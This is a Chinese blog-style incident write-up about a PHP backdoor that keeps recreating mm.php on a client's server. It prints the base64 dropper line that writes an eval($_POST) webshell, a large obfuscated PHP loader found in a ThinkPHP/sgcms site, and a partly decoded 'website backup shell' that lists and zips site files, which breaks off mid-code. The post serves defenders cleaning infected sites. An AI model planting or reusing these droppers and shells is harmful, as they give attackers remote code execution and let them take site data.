PHP隐形一句话后门，和ThinkPHP框架加密码程序(base64

PHP隐形一句话后门，和ThinkPHP框架加密码程序(base64_decode)

今天一个客户的服务器频繁被写入：

mm.php

内容为：

最后查到某文件内的第一行为以下代码：

fputs(fopen(base64_decode("bW0ucGhw"),"w"),base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4="));

base64_decode("bW0ucGhw") //mm.php

base64_decode("PD9ldmFsKCRfUE9TVFtjXSk7Pz4=") //

这样，只要这些文件被访问就会自动创建 mm.php

如果你发现了mm.php，删除了，以后还会再有的，真是越来越变态了~

下以相关内容

PD9ldmFs //base64_encode("

ZXZhbA== //base64_encode("eval");

还发现一个ThinkPHP框架—sgcms的相密文件，内容以下：

$OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64%66%70%6e%72');$OO00O0000=12308;$OOO0000O0=$OOO000000{4}.$OOO000000{9}.$OOO000000{3}.$OOO000000{5};$OOO0000O0.=$OOO000000{2}.$OOO000000{10}.$OOO000000{13}.$OOO000000{16};$OOO0000O0.=$OOO0000O0{3}.$OOO000000{11}.$OOO000000{12}.$OOO0000O0{7}.$OOO000000{5};$O0O0000O0='OOO0000O0';eval(($$O0O0000O0('JE9PME9PMDAwMD0kT09PMDAwMDAwezE3fS4kT09PMDAwMDAwezEyfS4kT09PMDAwMDAwezE4fS4kT09PMDAwMDAwezV9LiRPT08wMDAwMDB7MTl9O2lmKCEwKSRPMDAwTzBPMDA9JE9PME9PMDAwMCgkT09PME8wTzAwLCdyYicpOyRPTzBPTzAwME89JE9PTzAwMDAwMHsxN30uJE9PTzAwMDAwMHsyMH0uJE9PTzAwMDAwMHs1fS4kT09PMDAwMDAwezl9LiRPT08wMDAwMDB7MTZ9OyRPTzBPTzAwTzA9JE9PTzAwMDAwMHsxNH0uJE9PTzAwMDAwMHswfS4kT09PMDAwMDAwezIwfS4kT09PMDAwMDAwezB9LiRPT08wMDAwMDB7MjB9OyRPTzBPTzAwME8oJE8wMDBPME8wMCwxMTY1KTskT08wME8wME8wPSgkT09PMDAwME8wKCRPTzBPTzAwTzAoJE9PME9PMDAwTygkTzAwME8wTzAwLDM4MCksJ05TWGZZT0cvUXExeWF1ak00VzlFeDh0bEk3b0FIVmR3NWhEQ3oyQjBuc3ZQcFptS2diUjNKVUxlaytyNmNUaUY9JywnQUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVphYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5ejAxMjM0NTY3ODkrLycpKSk7ZXZhbCgkT08wME8wME8wKTs=')));return;?>

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

解密后为：

echo '

HakeTeam Website Backup V1.0 Beta - ';echo getenv('HTTP_HOST');;echo '

ini_set('memory_limit','2048M');

echo "

 ----------------------------------------------
[*]HakeTeam PHP Website Backup Shell V1.0 Beta
[*]Forum:http://hake.cc
[*]isosky's Blog:nbst.org
----------------------------------------------
File List:

$fdir = opendir('./');

while($file=readdir($fdir))

{

if($file=='.'||$file=='..')

continue;

echo " ';

if(is_file($file))

{

echo "2 $file
";

}

else

{

echo "0 $file
";

}

;echo '

FileType:

(Blank for all,use "|" to separate,e.g.:php|html|jpg)

Backup Directory:

(Blank for this directory,use relative url,and you must be able to write file)

Backup Name:

(.zip type file)

set_time_limit(0);

class PHPzip

{

var $file_count = 0 ;

var $datastr_len = 0;

var $dirstr_len = 0;

var $filedata = '';

var $gzfilename;

var $fp;

var $dirstr='';

var $filefilters = array();

function SetFileFilter($filetype)

{

$this->filefilters = explode('|',$filetype);

}

function unix2DosTime($unixtime = 0)

{

$timearray = ($unixtime == 0) ?getdate() : getdate($unixtime);

if ($timearray['year'] <1980)

{

$timearray['year'] = 1980;

$timearray['mon'] = 1;

$timearray['mday'] = 1;

$timearray['hours'] = 0;

$timearray['minutes'] = 0;

$timearray['seconds'] = 0;

}

}

function startfile($path = 'dodo.zip')

{

$this->gzfilename=$path;

$mypathdir=array();

{

$mypathdir[] = $path = dirname($path);

}while($path != '.');

@end($mypathdir);

{

$path = @current($mypathdir);

@mkdir($path);

}while(@prev($mypathdir));

if($this->fp=@fopen($this->gzfilename,'w'))

{

return true;

}

return false;

}

function addfile($data,$name)

{

$name = str_replace('\\','/',$name);

if(strrchr($name,'/')=='/')

return $this->adddir($name);

if(!empty($this->filefilters))

{

if (!in_array(end(explode('.',$name)),$this->filefilters))

{

return;

}

$dtime = dechex($this->unix2DosTime());

$hexdtime = '\x'.$dtime[6] .$dtime[7] .'\x'.$dtime[4] .$dtime[5] .'\x'.$dtime[2] .$dtime[3] .'\x'.$dtime[0] .$dtime[1];

eval('$hexdtime = "'.$hexdtime .'";');

$unc_len = strlen($data);

$crc = crc32($data);

$zdata = gzcompress($data);

$c_len = strlen($zdata);

$zdata = substr(substr($zdata,0,strlen($zdata) -4),2);

$datastr = "\x50\x4b\x03\x04";

$datastr .= "\x14\x00";

$datastr .= "\x00\x00";

$datastr .= "\x08\x00";

$datastr .= $hexdtime;

$datastr .= pack('V',$crc);

$datastr .= pack('V',$c_len);

$datastr .= pack('V',$unc_len);

$datastr .= pack('v',strlen($name));

$datastr .= pack('v',0);

$datastr .= $name;

$datastr .= $zdata;

$datastr .= pack('V',$crc);

$datastr .= pack('V',$c_len);

$datastr .= pack('V',$unc_len);

fwrite($this->fp,$datastr);

$my_datastr_len = strlen($datastr);

unset($datastr);

$dirstr = "\x50\x4b\x01\x02";

$dirstr .= "\x00\x00";

$dirstr .= "\x14\x00";

$dirstr .= "\x00\x00";

